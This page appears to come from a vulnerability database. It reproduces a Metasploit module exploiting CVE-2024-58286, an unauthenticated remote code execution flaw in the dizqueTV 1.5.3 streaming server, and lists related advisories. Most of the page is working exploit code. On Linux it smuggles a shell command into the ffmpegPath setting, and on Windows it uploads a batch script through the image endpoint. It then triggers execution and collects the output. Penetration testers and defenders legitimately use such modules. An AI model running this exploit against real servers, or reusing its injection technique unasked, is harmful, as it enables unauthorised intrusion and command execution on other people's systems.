dizqueTV Unauthenticated Remote Code Execution
🗓️ 21 Sep 2024 00:00:00Reported by Muhammad Sulthon Nurbahari, Ahmed Said Saud Al-BusaidiType
metasploit🔗 www.rapid7.com👁 3 Views
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| dizqueTV 操作系统命令注入漏洞 | 11 Dec 202500:00 | – | cnnvd | |
| CVE-2024-58286 | 11 Dec 202521:32 | – | cve | |
| CVE-2024-58286 dizqueTV 1.5.3 Remote Code Execution via FFMPEG Executable Path | 11 Dec 202521:32 | – | cvelist | |
| EUVD-2024-55324 | 12 Dec 202500:30 | – | euvd | |
| CVE-2024-58286 | 11 Dec 202522:15 | – | nvd | |
| PT-2025-50740 | 11 Dec 202500:00 | – | ptsecurity | |
| CVE-2024-58286: Improper Neutralization of Special Elements used in an OS Command | 11 Dec 202500:00 | – | rapid7 | |
| CVE-2024-58286 | 12 Dec 202522:17 | – | redhatcve | |
| CVE-2024-58286 dizqueTV 1.5.3 Remote Code Execution via FFMPEG Executable Path | 11 Dec 202521:32 | – | vulnrichment |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'dizqueTV Unauthenticated Remote Code Execution',
'Description' => %q{
dizqueTV, a Node.js-based IPTV streaming server, is vulnerable to
unauthenticated remote code execution via the ffmpegPath configuration
parameter. On Linux, an attacker can inject a command into the ffmpegPath value.
On Windows, an attacker can upload a malicious batch script through the image
upload endpoint and set the ffmpegPath setting to the uploaded file. Requesting
the version API triggers execution on both platforms.
The ffmpegPath value is used by Node's child process APIs without adequate
validation, allowing arbitrary command execution as the Node.js process user.
},
'License' => MSF_LICENSE,
'Author' => [
'Muhammad Sulthon Nurbahari', # Metasploit module
'Ahmed Said Saud Al-Busaidi', # Original PoC (EDB-52079)
],
'References' => [
['CVE', '2024-58286'],
['EDB', '52079'],
],
'DefaultOptions' => {
'RPORT' => 8000
},
'Targets' => [
[
'Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-09-21',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('COMMAND', [false, 'Command to execute (overrides payload if set)', '']),
OptInt.new('MAXWAIT', [true, 'Max seconds to poll for output', 140]),
OptInt.new('POLL_INTERVAL', [true, 'Seconds between poll attempts', 6]),
])
end
def check
res = send_request_cgi('method' => 'GET', 'uri' => '/api/version')
return CheckCode::Unknown('No response from target') unless res
return CheckCode::Safe('Unexpected HTTP code') unless res.code == 200
version = res.get_json_document['dizquetv']
return CheckCode::Safe('The response is not from a dizqueTV server') unless version
version = Rex::Version.new(version)
return CheckCode::Appears("dizqueTV #{version} is vulnerable") if version == Rex::Version.new('1.5.3')
return CheckCode::Safe("dizqueTV #{version} is patched") if version > Rex::Version.new('1.5.3')
CheckCode::Detected("Detected dizqueTV #{version}, but this version has not been tested")
rescue StandardError => e
CheckCode::Unknown("Failed to determine the dizqueTV version: #{e}")
end
def exploit
fail_with(Failure::BadConfig, 'MAXWAIT and POLL_INTERVAL must be greater than zero') if datastore['MAXWAIT'] <= 0 || datastore['POLL_INTERVAL'] <= 0
@cmd = datastore['COMMAND'].empty? ? payload.encoded : datastore['COMMAND']
@tag = Rex::Text.rand_text_hex(4)
@output_file = "out_#{@tag}.txt"
@script_name = "b_#{Rex::Text.rand_text_hex(6)}.bat" if target['Platform'] == 'win'
print_status("Target: #{Rex::Socket.to_authority(rhost, rport)}")
begin
upload_script if target['Platform'] == 'win'
set_ffmpeg_path
trigger_execution
retrieve_output
ensure
restore_ffmpeg_settings if @original_settings
end
end
def upload_script
print_status('Uploading payload script...')
# Execute the command and redirect stdout and stderr beside the batch file.
content = "@echo off\r\n"
content << "(#{@cmd}) > \"%~dp0\\#{@output_file}\" 2>&1\r\n"
boundary = "----#{Rex::Text.rand_text_alphanumeric(16)}"
body = "--#{boundary}\r\n"
body << "Content-Disposition: form-data; name=\"image\"; filename=\"#{@script_name}\"\r\n"
body << "\r\n#{content}\r\n"
body << "--#{boundary}--\r\n"
res = send_request_cgi({
'method' => 'POST',
'uri' => '/api/upload/image',
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => body
})
fail_with(Failure::UnexpectedReply, "Upload failed (HTTP #{res&.code})") unless res&.code == 200
print_good("Script uploaded: #{@script_name}")
register_files_for_cleanup(".dizquetv/images/uploads/#{@script_name}")
register_files_for_cleanup(".dizquetv/images/uploads/#{@output_file}")
end
def set_ffmpeg_path
print_status('Fetching current ffmpeg settings...')
res = send_request_cgi('method' => 'GET', 'uri' => '/api/ffmpeg-settings')
fail_with(Failure::UnexpectedReply, 'Cannot fetch ffmpeg settings') unless res&.code == 200
begin
settings = res.get_json_document
rescue StandardError
fail_with(Failure::UnexpectedReply, 'Invalid JSON from ffmpeg-settings')
end
fail_with(Failure::UnexpectedReply, 'Invalid JSON from ffmpeg-settings') if settings.empty?
@original_settings = settings.dup
settings['ffmpegPath'] = if target['Platform'] == 'win'
".dizquetv/images/uploads/#{@script_name}"
else
# FFMPEGInfo interpolates this value into `"<ffmpegPath>" -version`.
"\";#{@cmd};#"
end
print_status('Setting the malicious ffmpegPath...')
res = send_request_cgi({
'method' => 'PUT',
'uri' => '/api/ffmpeg-settings',
'ctype' => 'application/json',
'data' => JSON.generate(settings)
})
fail_with(Failure::UnexpectedReply, "Failed to set ffmpegPath (HTTP #{res&.code})") unless res&.code == 200
# Verify the change stuck
res2 = send_request_cgi('method' => 'GET', 'uri' => '/api/ffmpeg-settings')
if res2&.code == 200
updated = res2.get_json_document
if updated['ffmpegPath'] == settings['ffmpegPath']
print_good('ffmpegPath confirmed')
else
print_warning('ffmpegPath may not have been saved (lock behavior?)')
end
end
end
def trigger_execution
print_status('Triggering command execution via /api/version...')
res = send_request_cgi({ 'method' => 'GET', 'uri' => '/api/version' }, 5)
@linux_output = res.get_json_document['ffmpeg'] if target['Platform'] != 'win' && res&.code == 200
end
def restore_ffmpeg_settings
print_status('Restoring the original ffmpeg settings...')
res = send_request_cgi({
'method' => 'PUT',
'uri' => '/api/ffmpeg-settings',
'ctype' => 'application/json',
'data' => @original_settings.to_json
})
print_warning('Failed to restore the original ffmpeg settings') unless res&.code == 200
@original_settings = nil
rescue StandardError => e
print_warning("Failed to restore the original ffmpeg settings: #{e}")
end
def retrieve_output
if target['Platform'] != 'win'
if @linux_output && !@linux_output.empty?
print_good("Command output (#{@linux_output.length} bytes):")
@linux_output.each_line { |line| print_line(line.chomp) }
else
print_warning('No command output was returned (the command may have executed blindly)')
end
return
end
maxwait = datastore['MAXWAIT']
interval = datastore['POLL_INTERVAL']
max_attempts = maxwait / interval
output_path = "/images/uploads/#{@output_file}"
output_retrieved = false
print_status("Polling for output (#{maxwait}s timeout, every #{interval}s)...")
max_attempts.times do |i|
sleep(interval)
res = send_request_cgi({ 'method' => 'GET', 'uri' => output_path }, 8)
next unless res&.code == 200
output = res.body.to_s.strip
next if output.empty? || output.include?('Cannot GET')
elapsed = (i + 1) * interval
print_good("Output retrieved @ #{elapsed}s (#{output.length} bytes):")
output.each_line { |line| print_line(line.chomp) }
store_loot(
'dizquetv.command_output',
'text/plain',
rhost,
output,
@output_file,
'dizqueTV RCE command output'
)
output_retrieved = true
break
end
print_warning("No output retrieved within #{maxwait}s (command may have executed blindly)") unless output_retrieved
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Sep 2024 00:00Current
CVSS 49.3
EPSS0.00598
SSVC